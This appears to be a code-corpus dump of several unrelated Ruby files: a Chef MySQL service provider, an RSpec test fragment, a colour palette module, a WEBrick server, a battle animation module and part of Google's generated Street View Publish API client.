"delay" => delay
}
end
it 'serializes the relation correctly' do
data = JSON.parse representer.to_json
expect(data).to eq result
end
it 'deserializes the relation correctly' do
rep = ::API::V3::Relations::RelationRepresenter.new Relation.new, current_user: user
rel = rep.from_json result.except(:id).to_json
expect(rel.from).to eq from
expect(rel.to).to eq to
expect(rel.delay).to eq delay
expect(rel.relation_type).to eq type
expect(rel.description).to eq description
expect(rel.delay).to eq delay
end
end
| 31.317308 | 91 | 0.621431 |
01de011a58b040076ab9daa28191b1a3d64036e9 | 7,775 | require 'chef/provider/lwrp_base'
require_relative 'helpers'
class Chef
class Provider
class MysqlService < Chef::Provider::LWRPBase
# Chef 11 LWRP DSL Methods
use_inline_resources if defined?(use_inline_resources)
def whyrun_supported?
true
end
# Mix in helpers from libraries/helpers.rb
include MysqlCookbook::Helpers
# Service related methods referred to in the :create and :delete
# actions need to be implemented in the init system subclasses.
#
# create_stop_system_service
# delete_stop_service
# All other methods are found in libraries/helpers.rb
#
# etc_dir, run_dir, log_dir, etc
action :create do
# Yum, Apt, etc. From helpers.rb
# configure_package_repositories
# Software installation
# package "#{new_resource.name} :create #{server_package_name}" do
# package_name server_package_name
# version parsed_version if node['platform'] == 'smartos'
# version new_resource.package_version
# action new_resource.package_action
# end
#create_stop_system_service
# Apparmor
#configure_apparmor
# System users
group "#{new_resource.name} :create mysql" do
group_name 'mysql'
action :create
end
user "#{new_resource.name} :create mysql" do
username 'mysql'
gid 'mysql'
action :create
end
# Yak shaving secion. Account for random errata.
#
# Turns out that mysqld is hard coded to try and read
# /etc/mysql/my.cnf, and its presence causes problems when
# setting up multiple services.
file "#{new_resource.name} :create #{prefix_dir}/etc/mysql/my.cnf" do
path "#{prefix_dir}/etc/mysql/my.cnf"
action :delete
end
file "#{new_resource.name} :create #{prefix_dir}/etc/my.cnf" do
path "#{prefix_dir}/etc/my.cnf"
action :delete
end
# mysql_install_db is broken on 5.6.13
link "#{new_resource.name} :create #{prefix_dir}/usr/share/my-default.cnf" do
target_file "#{prefix_dir}/usr/share/my-default.cnf"
to "#{etc_dir}/my.cnf"
action :create
end
# Support directories
directory "#{new_resource.name} :create #{etc_dir}" do
path etc_dir
owner new_resource.run_user
group new_resource.run_group
mode '0750'
recursive true
action :create
end
directory "#{new_resource.name} :create #{include_dir}" do
path include_dir
owner new_resource.run_user
group new_resource.run_group
mode '0750'
recursive true
action :create
end
directory "#{new_resource.name} :create #{run_dir}" do
path run_dir
owner new_resource.run_user
group new_resource.run_group
mode '0755'
recursive true
action :create
end
directory "#{new_resource.name} :create #{log_dir}" do
path log_dir
owner new_resource.run_user
group new_resource.run_group
mode '0750'
recursive true
action :create
end
directory "#{new_resource.name} :create #{parsed_data_dir}" do
path parsed_data_dir
owner new_resource.run_user
group new_resource.run_group
mode '0750'
recursive true
action :create
end
# Main configuration file
template "#{new_resource.name} :create #{etc_dir}/my.cnf" do
path "#{etc_dir}/my.cnf"
source 'my.cnf.erb'
cookbook 'mariadb'
owner new_resource.run_user
group new_resource.run_group
mode '0600'
variables(
config: new_resource,
error_log: error_log,
include_dir: include_dir,
lc_messages_dir: lc_messages_dir,
pid_file: pid_file,
socket_file: socket_file,
tmp_dir: tmp_dir,
data_dir: parsed_data_dir
)
action :create
end
# initialize database and create initial records
bash "#{new_resource.name} :create initial records" do
code init_records_script
returns [0, 1, 2] # facepalm
not_if "/usr/bin/test -f #{parsed_data_dir}/mysql/user.frm"
action :run
end
end
action :delete do
# Stop the service before removing support directories
delete_stop_service
directory "#{new_resource.name} :delete #{etc_dir}" do
path etc_dir
recursive true
action :delete
end
directory "#{new_resource.name} :delete #{run_dir}" do
path run_dir
recursive true
action :delete
end
directory "#{new_resource.name} :delete #{log_dir}" do
path log_dir
recursive true
action :delete
end
end
#
# Platform specific bits
#
def configure_apparmor
# Do not add these resource if inside a container
# Only valid on Ubuntu
unless ::File.exist?('/.dockerenv') || ::File.exist?('/.dockerinit')
if node['platform'] == 'ubuntu'
# Apparmor
package "#{new_resource.name} :create apparmor" do
package_name 'apparmor'
action :install
end
directory "#{new_resource.name} :create /etc/apparmor.d/local/mysql" do
path '/etc/apparmor.d/local/mysql'
owner 'root'
group 'root'
mode '0755'
recursive true
action :create
end
template "#{new_resource.name} :create /etc/apparmor.d/local/usr.sbin.mysqld" do
path '/etc/apparmor.d/local/usr.sbin.mysqld'
cookbook 'mariadb'
source 'apparmor/usr.sbin.mysqld-local.erb'
owner 'root'
group 'root'
mode '0644'
action :create
notifies :restart, "service[#{new_resource.name} :create apparmor]", :immediately
end
template "#{new_resource.name} :create /etc/apparmor.d/usr.sbin.mysqld" do
path '/etc/apparmor.d/usr.sbin.mysqld'
cookbook 'mariadb'
source 'apparmor/usr.sbin.mysqld.erb'
owner 'root'
group 'root'
mode '0644'
action :create
notifies :restart, "service[#{new_resource.name} :create apparmor]", :immediately
end
template "#{new_resource.name} :create /etc/apparmor.d/local/mysql/#{new_resource.instance}" do
path "/etc/apparmor.d/local/mysql/#{new_resource.instance}"
cookbook 'mariadb'
source 'apparmor/usr.sbin.mysqld-instance.erb'
owner 'root'
group 'root'
mode '0644'
variables(
data_dir: parsed_data_dir,
mysql_name: mysql_name,
log_dir: log_dir,
run_dir: run_dir,
pid_file: pid_file,
socket_file: socket_file
)
action :create
notifies :restart, "service[#{new_resource.name} :create apparmor]", :immediately
end
service "#{new_resource.name} :create apparmor" do
service_name 'apparmor'
action :nothing
end
end
end
end
end
end
end
| 30.853175 | 107 | 0.563087 |
e9637218c60a91e33a8b55b0679b63e4d33e7312 | 111 | class AddNameToReport < ActiveRecord::Migration
def change
add_column :reports, :name, :string
end
end
| 18.5 | 47 | 0.747748 |
f8edae5683c07b45ee8658433b0e12ba973431bb | 6,253 |
#
# Rainbow color name definitions (RGB 0 - 255).
# Set two is from dark purple > blue > green > red > maroon.
#
module RainbowTwoColors
RAINBOW_TWO = { 'palette_name' => 'Rainbow Two', 'palette_count' => 160,
'R2-1' => [64, 0, 64], #400040
'R2-2' => [60, 0, 76], #3C004C
'R2-3' => [56, 0, 88], #380058
'R2-4' => [52, 0, 100], #340064
'R2-5' => [48, 0, 112], #300070
'R2-6' => [44, 0, 124], #2C007C
'R2-7' => [40, 0, 136], #280088
'R2-8' => [36, 0, 148], #240094
'R2-9' => [32, 0, 160], #2000A0
'R2-10' => [28, 0, 172], #1C00AC
'R2-11' => [24, 0, 184], #1800B8
'R2-12' => [20, 0, 196], #1400C4
'R2-13' => [16, 0, 208], #1000D0
'R2-14' => [12, 0, 220], #0C00DC
'R2-15' => [8, 0, 232], #0800E8
'R2-16' => [4, 0, 244], #0400F4
'R2-17' => [0, 0, 255], #0000FF blue
'R2-18' => [0, 8, 255], #0008FF
'R2-19' => [0, 16, 255], #0010FF
'R2-20' => [0, 24, 255], #0018FF
'R2-21' => [0, 32, 255], #0020FF
'R2-22' => [0, 40, 255], #0028FF
'R2-23' => [0, 48, 255], #0030FF
'R2-24' => [0, 56, 255], #0038FF
'R2-25' => [0, 64, 255], #0040FF
'R2-26' => [0, 72, 255], #0048FF
'R2-27' => [0, 80, 255], #0050FF
'R2-28' => [0, 88, 255], #0058FF
'R2-29' => [0, 96, 255], #0060FF
'R2-30' => [0, 104, 255], #0068FF
'R2-31' => [0, 112, 255], #0070FF
'R2-32' => [0, 120, 255], #0078FF
'R2-33' => [0, 128, 255], #0080FF
'R2-34' => [0, 136, 255], #0088FF
'R2-35' => [0, 144, 255], #0090FF
'R2-36' => [0, 152, 255], #0098FF
'R2-37' => [0, 160, 255], #00A0FF
'R2-38' => [0, 168, 255], #00A8FF
'R2-39' => [0, 176, 255], #00B0FF
'R2-40' => [0, 184, 255], #00B8FF
'R2-41' => [0, 192, 255], #00C0FF
'R2-42' => [0, 200, 255], #00C8FF
'R2-43' => [0, 208, 255], #00D0FF
'R2-44' => [0, 216, 255], #00D8FF
'R2-45' => [0, 224, 255], #00E0FF
'R2-46' => [0, 232, 255], #00E8FF
'R2-47' => [0, 240, 255], #00F0FF
'R2-48' => [0, 248, 255], #00F8FF
'R2-49' => [0, 255, 255], #00FFFF aqua
'R2-50' => [0, 255, 248], #00FFF8
'R2-51' => [0, 255, 240], #00FFF0
'R2-52' => [0, 255, 232], #00FFE8
'R2-53' => [0, 255, 224], #00FFE0
'R2-54' => [0, 255, 216], #00FFD8
'R2-55' => [0, 255, 208], #00FFD0
'R2-56' => [0, 255, 200], #00FFC8
'R2-57' => [0, 255, 192], #00FFC0
'R2-58' => [0, 255, 184], #00FFB8
'R2-59' => [0, 255, 176], #00FFB0
'R2-60' => [0, 255, 168], #00FFA8
'R2-61' => [0, 255, 160], #00FFA0
'R2-62' => [0, 255, 152], #00FF98
'R2-63' => [0, 255, 144], #00FF90
'R2-64' => [0, 255, 136], #00FF88
'R2-65' => [0, 255, 128], #00FF80
'R2-66' => [0, 255, 120], #00FF78
'R2-67' => [0, 255, 112], #00FF70
'R2-68' => [0, 255, 104], #00FF68
'R2-69' => [0, 255, 96], #00FF60
'R2-70' => [0, 255, 88], #00FF58
'R2-71' => [0, 255, 80], #00FF50
'R2-72' => [0, 255, 72], #00FF48
'R2-73' => [0, 255, 64], #00FF40
'R2-74' => [0, 255, 56], #00FF38
'R2-75' => [0, 255, 48], #00FF30
'R2-76' => [0, 255, 40], #00FF28
'R2-77' => [0, 255, 32], #00FF20
'R2-78' => [0, 255, 24], #00FF18
'R2-79' => [0, 255, 16], #00FF10
'R2-80' => [0, 255, 8], #00FF08
'R2-81' => [8, 255, 0], #08FF00 green
'R2-82' => [16, 255, 0], #10FF00
'R2-83' => [24, 255, 0], #18FF00
'R2-84' => [32, 255, 0], #20FF00
'R2-85' => [40, 255, 0], #28FF00
'R2-86' => [48, 255, 0], #30FF00
'R2-87' => [56, 255, 0], #38FF00
'R2-88' => [64, 255, 0], #40FF00
'R2-89' => [72, 255, 0], #48FF00
'R2-90' => [80, 255, 0], #50FF00
'R2-91' => [88, 255, 0], #58FF00
'R2-92' => [96, 255, 0], #60FF00
'R2-93' => [104, 255, 0], #68FF00
'R2-94' => [112, 255, 0], #70FF00
'R2-95' => [120, 255, 0], #78FF00
'R2-96' => [128, 255, 0], #80FF00
'R2-97' => [136, 255, 0], #88FF00
'R2-98' => [144, 255, 0], #90FF00
'R2-99' => [152, 255, 0], #98FF00
'R2-100' => [160, 255, 0], #A0FF00
'R2-101' => [168, 255, 0], #A8FF00
'R2-102' => [176, 255, 0], #B0FF00
'R2-103' => [184, 255, 0], #B8FF00
'R2-104' => [192, 255, 0], #C0FF00
'R2-105' => [200, 255, 0], #C8FF00
'R2-106' => [208, 255, 0], #D0FF00
'R2-107' => [216, 255, 0], #D8FF00
'R2-108' => [224, 255, 0], #E0FF00
'R2-109' => [232, 255, 0], #E8FF00
'R2-110' => [240, 255, 0], #F0FF00
'R2-111' => [248, 255, 0], #F8FF00
'R2-112' => [255, 255, 0], #FFFF00 yellow
'R2-113' => [255, 248, 0], #FFF800
'R2-114' => [255, 240, 0], #FFF000
'R2-115' => [255, 232, 0], #FFE800
'R2-116' => [255, 224, 0], #FFE000
'R2-117' => [255, 216, 0], #FFE000
'R2-118' => [255, 208, 0], #FFD000
'R2-119' => [255, 200, 0], #FFC800
'R2-120' => [255, 192, 0], #FFC000
'R2-121' => [255, 184, 0], #FFB800
'R2-122' => [255, 176, 0], #FFB000
'R2-123' => [255, 168, 0], #FFA800
'R2-124' => [255, 160, 0], #FFA000
'R2-125' => [255, 152, 0], #FF9800
'R2-126' => [255, 144, 0], #FF9000
'R2-127' => [255, 136, 0], #FF8800
'R2-128' => [255, 128, 0], #FF8000
'R2-129' => [255, 120, 0], #FF7800
'R2-130' => [255, 112, 0], #FF7000
'R2-131' => [255, 104, 0], #FF6800
'R2-132' => [255, 96, 0], #FF6000
'R2-133' => [255, 88, 0], #FF5800
'R2-134' => [255, 80, 0], #FF5000
'R2-135' => [255, 72, 0], #FF4800
'R2-136' => [255, 64, 0], #FF4000
'R2-137' => [255, 56, 0], #FF3800
'R2-138' => [255, 48, 0], #FF3000
'R2-139' => [255, 40, 0], #FF2800
'R2-140' => [255, 32, 0], #FF2000
'R2-141' => [255, 24, 0], #FF1800
'R2-142' => [255, 16, 0], #FF1000
'R2-143' => [255, 8, 0], #FF0800
'R2-144' => [255, 0, 0], #FF0000 red
'R2-145' => [244, 0, 0], #F40000
'R2-146' => [232, 0, 0], #E80000
'R2-147' => [220, 0, 0], #DC0000
'R2-148' => [208, 0, 0], #D00000
'R2-149' => [196, 0, 0], #C40000
'R2-150' => [184, 0, 0], #B80000
'R2-151' => [172, 0, 0], #AC0000
'R2-152' => [160, 0, 0], #A00000
'R2-153' => [148, 0, 0], #940000
'R2-154' => [136, 0, 0], #880000
'R2-155' => [124, 0, 0], #7C0000
'R2-156' => [112, 0, 0], #700000
'R2-157' => [100, 0, 0], #640000
'R2-158' => [88, 0, 0], #580000
'R2-159' => [76, 0, 0], #4C0000
'R2-160' => [64, 0, 0] } #400000
end
| 34.932961 | 75 | 0.452583 |
61f1d41f5523d84e83fde1466d9d30da89fb58d5 | 401 | cask :v1 => 'font-uncial-antiqua' do
version '1.000'
sha256 '33a5128b59d1c95d4f3788164f4ab3a1196f0a982263cb2cd278c47418366766'
url 'https://googlefontdirectory.googlecode.com/hg-history/67342bc472599b4c32201ee4a002fe59a6447a42/ofl/uncialantiqua/UncialAntiqua-Regular.ttf'
homepage 'http://www.google.com/fonts/specimen/Uncial%20Antiqua'
license :ofl
font 'UncialAntiqua-Regular.ttf'
end
| 36.454545 | 146 | 0.812968 |
aca5fbe63413bce2479f9d69914cfd5b4aac6b74 | 157 | #! /usr/bin/env ruby
require 'webrick'
server = WEBrick::HTTPServer.new :Port => 3000, :DocumentRoot => Dir.pwd
trap('INT') { server.shutdown }
server.start
| 26.166667 | 72 | 0.707006 |
7a6f180e4bfc8bcef7fd2dfd3a0b2c1e77c8a434 | 932 | require 'doorbell'
require 'simplecov'
require 'active_support/all'
require 'minitest/autorun'
require 'minitest/reporters'
reporter_options = { color: true }
Minitest::Reporters.use! [Minitest::Reporters::DefaultReporter.new(reporter_options)]
SimpleCov.start
# Filter out Minitest backtrace while allowing backtrace from other libraries
# to be shown.
Minitest.backtrace_filter = Minitest::BacktraceFilter.new
module Doorbell
class MyCustomException < StandardError
end
end
# Make sure doorbell global configuration is reset before every tests
# to avoid order dependent failures.
class ActiveSupport::TestCase
setup :reset_doorbell_configuration
private
def reset_doorbell_configuration
Doorbell.token_signature_algorithm = 'HS256'
Doorbell.token_secret_signature_key = -> { "secret" }
Doorbell.token_public_key = nil
Doorbell.token_audience = nil
Doorbell.token_lifetime = 1.day
end
end
| 24.526316 | 85 | 0.790773 |
398cc29487b50355ed3cc334ac93e51f0d47485e | 4,208 | module Battle
# Module responsive of handling all move animation
#
# All animation will have the following values in their resolver:
# - :visual => Battle::Visual object
# - :user => BattleUI::PokemonSprite of the user of the move
# - :target => BattleUI::PokemonSprite of the target of the move (first if user animation, current if target animation)
# - :viewport => Viewport of the user sprite
module MoveAnimation
# Variable containing the list of specific Move animations
# This is sorted the following way : move_db_symbol => animation_reason => animation_string_data
@specific_move_animations = {}
# Variable containing the list of generic Move animations (fallback)
# This variable is sorted the following way : move_kind => move_type => animation_string_data
@generic_move_animations = {}
module_function
# Function that store a specific move animation
# @param move_db_symbol [Symbol]
# @param animation_reason [Symbol]
# @param animation_user [Yuki::Animation::TimedAnimation] unstarted animation of user that will be serialized
# @param animation_target [Yuki::Animation::TimedAnimation] unstarted animation of target that will be serialized
def register_specific_animation(move_db_symbol, animation_reason, animation_user, animation_target)
(@specific_move_animations[move_db_symbol] ||= {})[animation_reason] = Marshal.dump([animation_user, animation_target])
end
# Function that stores a generic move animation
# @param move_kind [Integer] 1 = physical, 2 = special, 3 = status
# @param move_type [Integer] type of the move
# @param animation_user [Yuki::Animation::TimedAnimation] unstarted animation of user that will be serialized
# @param animation_target [Yuki::Animation::TimedAnimation] unstarted animation of target that will be serialized
def register_generic_animation(move_kind, move_type, animation_user, animation_target)
(@generic_move_animations[move_kind] ||= {})[move_type] = Marshal.dump([animation_user, animation_target])
end
# Function that retreives the animation for the user & the target depending on the condition
# @param move [Battle::Move] move used
# @param animation_reason [Array<Symbol>] reason of the animation (in order you want it, you'll get the first that got resolved)
# @return [Array<Yuki::Animation::TimedAnimation>, nil] animation on user, animation on target
def get(move, *animation_reason)
db_symbol = move.db_symbol
found_reason = animation_reason.find { |reason| @specific_move_animations.dig(db_symbol, reason) }
return Marshal.load(@specific_move_animations.dig(db_symbol, found_reason)) if found_reason
generic = @generic_move_animations.dig(move.data.atk_class, move.type)
return Marshal.load(generic) if generic
return nil
end
# Function that plays an animation
# @param animations [Array<Yuki::Animation::TimedAnimation>]
# @param visual [Battle::Visual]
# @param user [PFM::PokemonBattler] user of the move
# @param targets [Array<PFM::PokemonBattler>] expected targets
def play(animations, visual, user, targets)
animations = animations.dup
# @type [Yuki::Animation::TimedAnimation]
user_animation = animations.shift
animations << Marshal.load(Marshal.dump(animations.last)) while animations.size > targets.size
user_sprite = visual.battler_sprite(user.bank, user.position)
target_sprites = targets.map { |target| visual.battler_sprite(target.bank, target.position) }
user_animation.resolver = {
visual: visual,
user: user_sprite,
target: target_sprites.first,
viewport: user_sprite.viewport
}.method(:[])
animations.each_with_index do |animation, index|
animation.resolver = {
visual: visual,
user: user_sprite,
target: target_sprites[index],
viewport: user_sprite.viewport
}.method(:[])
animation.start
end
user_animation.start
visual.animations << user_animation
visual.animations.concat(animations)
visual.wait_for_animation
end
end
end
| 48.367816 | 132 | 0.720057 |
acdb204c6ec8953cc96ffa432aede5422e935ddf | 28,865 | # Copyright 2015 Google Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'google/apis/core/base_service'
require 'google/apis/core/json_representation'
require 'google/apis/core/hashable'
require 'google/apis/errors'
module Google
module Apis
module StreetviewpublishV1
# Street View Publish API
#
# Publishes 360 photos to Google Maps, along with position, orientation, and
# connectivity metadata. Apps can offer an interface for positioning, connecting,
# and uploading user-generated Street View images.
#
# @example
# require 'google/apis/streetviewpublish_v1'
#
# Streetviewpublish = Google::Apis::StreetviewpublishV1 # Alias the module
# service = Streetviewpublish::StreetViewPublishService.new
#
# @see https://developers.google.com/streetview/publish/
class StreetViewPublishService < Google::Apis::Core::BaseService
# @return [String]
# API key. Your API key identifies your project and provides you with API access,
# quota, and reports. Required unless you provide an OAuth 2.0 token.
attr_accessor :key
# @return [String]
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
attr_accessor :quota_user
def initialize
super('https://streetviewpublish.googleapis.com/', '')
@batch_path = 'batch'
end
# After the client finishes uploading the photo with the returned
# UploadRef,
# CreatePhoto
# publishes the uploaded Photo to
# Street View on Google Maps.
# Currently, the only way to set heading, pitch, and roll in CreatePhoto is
# through the [Photo Sphere XMP
# metadata](https://developers.google.com/streetview/spherical-metadata) in
# the photo bytes. CreatePhoto ignores the `pose.heading`, `pose.pitch`,
# `pose.roll`, `pose.altitude`, and `pose.level` fields in Pose.
# This method returns the following error codes:
# * google.rpc.Code.INVALID_ARGUMENT if the request is malformed or if
# the uploaded photo is not a 360 photo.
# * google.rpc.Code.NOT_FOUND if the upload reference does not exist.
# * google.rpc.Code.RESOURCE_EXHAUSTED if the account has reached the
# storage limit.
# @param [Google::Apis::StreetviewpublishV1::Photo] photo_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::StreetviewpublishV1::Photo] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::StreetviewpublishV1::Photo]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def create_photo(photo_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1/photo', options)
command.request_representation = Google::Apis::StreetviewpublishV1::Photo::Representation
command.request_object = photo_object
command.response_representation = Google::Apis::StreetviewpublishV1::Photo::Representation
command.response_class = Google::Apis::StreetviewpublishV1::Photo
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes a Photo and its metadata.
# This method returns the following error codes:
# * google.rpc.Code.PERMISSION_DENIED if the requesting user did not
# create the requested photo.
# * google.rpc.Code.NOT_FOUND if the photo ID does not exist.
# @param [String] photo_id
# Required. ID of the Photo.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::StreetviewpublishV1::Empty] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::StreetviewpublishV1::Empty]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def delete_photo(photo_id, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:delete, 'v1/photo/{photoId}', options)
command.response_representation = Google::Apis::StreetviewpublishV1::Empty::Representation
command.response_class = Google::Apis::StreetviewpublishV1::Empty
command.params['photoId'] = photo_id unless photo_id.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Gets the metadata of the specified
# Photo.
# This method returns the following error codes:
# * google.rpc.Code.PERMISSION_DENIED if the requesting user did not
# create the requested Photo.
# * google.rpc.Code.NOT_FOUND if the requested
# Photo does not exist.
# * google.rpc.Code.UNAVAILABLE if the requested
# Photo is still being indexed.
# @param [String] photo_id
# Required. ID of the Photo.
# @param [String] language_code
# The BCP-47 language code, such as "en-US" or "sr-Latn". For more
# information, see
# http://www.unicode.org/reports/tr35/#Unicode_locale_identifier.
# If language_code is unspecified, the user's language preference for Google
# services is used.
# @param [String] view
# Required. Specifies if a download URL for the photo bytes should be returned
# in the
# Photo response.
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::StreetviewpublishV1::Photo] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::StreetviewpublishV1::Photo]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def get_photo(photo_id, language_code: nil, view: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:get, 'v1/photo/{photoId}', options)
command.response_representation = Google::Apis::StreetviewpublishV1::Photo::Representation
command.response_class = Google::Apis::StreetviewpublishV1::Photo
command.params['photoId'] = photo_id unless photo_id.nil?
command.query['languageCode'] = language_code unless language_code.nil?
command.query['view'] = view unless view.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Creates an upload session to start uploading photo bytes. The method uses
# the upload URL of the returned
# UploadRef to upload the bytes for
# the Photo.
# In addition to the photo requirements shown in
# https://support.google.com/maps/answer/7012050?hl=en&ref_topic=6275604,
# the photo must meet the following requirements:
# * Photo Sphere XMP metadata must be included in the photo metadata. See
# https://developers.google.com/streetview/spherical-metadata for the
# required fields.
# * The pixel size of the photo must meet the size requirements listed in
# https://support.google.com/maps/answer/7012050?hl=en&ref_topic=6275604, and
# the photo must be a full 360 horizontally.
# After the upload completes, the method uses
# UploadRef with
# CreatePhoto
# to create the Photo object entry.
# @param [Google::Apis::StreetviewpublishV1::Empty] empty_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::StreetviewpublishV1::UploadRef] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::StreetviewpublishV1::UploadRef]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def start_photo_upload(empty_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1/photo:startUpload', options)
command.request_representation = Google::Apis::StreetviewpublishV1::Empty::Representation
command.request_object = empty_object
command.response_representation = Google::Apis::StreetviewpublishV1::UploadRef::Representation
command.response_class = Google::Apis::StreetviewpublishV1::UploadRef
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Updates the metadata of a Photo, such
# as pose, place association, connections, etc. Changing the pixels of a
# photo is not supported.
# Only the fields specified in the
# updateMask
# field are used. If `updateMask` is not present, the update applies to all
# fields.
# This method returns the following error codes:
# * google.rpc.Code.PERMISSION_DENIED if the requesting user did not
# create the requested photo.
# * google.rpc.Code.INVALID_ARGUMENT if the request is malformed.
# * google.rpc.Code.NOT_FOUND if the requested photo does not exist.
# * google.rpc.Code.UNAVAILABLE if the requested
# Photo is still being indexed.
# @param [String] id
# Required. A unique identifier for a photo.
# @param [Google::Apis::StreetviewpublishV1::Photo] photo_object
# @param [String] update_mask
# Required. Mask that identifies fields on the photo metadata to update.
# If not present, the old Photo
# metadata is entirely replaced with the
# new Photo metadata in this request.
# The update fails if invalid fields are specified. Multiple fields can be
# specified in a comma-delimited list.
# The following fields are valid:
# * `pose.heading`
# * `pose.latLngPair`
# * `pose.pitch`
# * `pose.roll`
# * `pose.level`
# * `pose.altitude`
# * `connections`
# * `places`
# <aside class="note"><b>Note:</b> When
# updateMask
# contains repeated fields, the entire set of repeated values get replaced
# with the new contents. For example, if
# updateMask
# contains `connections` and `UpdatePhotoRequest.photo.connections` is empty,
# all connections are removed.</aside>
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::StreetviewpublishV1::Photo] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::StreetviewpublishV1::Photo]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def update_photo(id, photo_object = nil, update_mask: nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:put, 'v1/photo/{id}', options)
command.request_representation = Google::Apis::StreetviewpublishV1::Photo::Representation
command.request_object = photo_object
command.response_representation = Google::Apis::StreetviewpublishV1::Photo::Representation
command.response_class = Google::Apis::StreetviewpublishV1::Photo
command.params['id'] = id unless id.nil?
command.query['updateMask'] = update_mask unless update_mask.nil?
command.query['fields'] = fields unless fields.nil?
command.query['quotaUser'] = quota_user unless quota_user.nil?
execute_or_queue_command(command, &block)
end
# Deletes a list of Photos and their
# metadata.
# Note that if
# BatchDeletePhotos
# fails, either critical fields are missing or there is an authentication
# error. Even if
# BatchDeletePhotos
# succeeds, individual photos in the batch may have failures.
# These failures are specified in each
# PhotoResponse.status
# in
# BatchDeletePhotosResponse.results.
# See
# DeletePhoto
# for specific failures that can occur per photo.
# @param [Google::Apis::StreetviewpublishV1::BatchDeletePhotosRequest] batch_delete_photos_request_object
# @param [String] fields
# Selector specifying which fields to include in a partial response.
# @param [String] quota_user
# Available to use for quota purposes for server-side applications. Can be any
# arbitrary string assigned to a user, but should not exceed 40 characters.
# @param [Google::Apis::RequestOptions] options
# Request-specific options
#
# @yield [result, err] Result & error if block supplied
# @yieldparam result [Google::Apis::StreetviewpublishV1::BatchDeletePhotosResponse] parsed result object
# @yieldparam err [StandardError] error object if request failed
#
# @return [Google::Apis::StreetviewpublishV1::BatchDeletePhotosResponse]
#
# @raise [Google::Apis::ServerError] An error occurred on the server and the request can be retried
# @raise [Google::Apis::ClientError] The request is invalid and should not be retried without modification
# @raise [Google::Apis::AuthorizationError] Authorization is required
def batch_delete_photos(batch_delete_photos_request_object = nil, fields: nil, quota_user: nil, options: nil, &block)
command = make_simple_command(:post, 'v1/photos:batchDelete', options)
command.request_representation = Google::Apis::StreetviewpublishV1::BatchDeletePhotosRequest::Representation
command.request_object = batch_delete_photos_request_object
command.response_representation = Google::Apis::StreetviewpublishV1::BatchDeletePhotosResponse::Representation
command.response_class = Google::Apis::StreetviewpublishV1::BatchDeletePhotosResponse
command.query['fields'] = fields unless fields.nil?
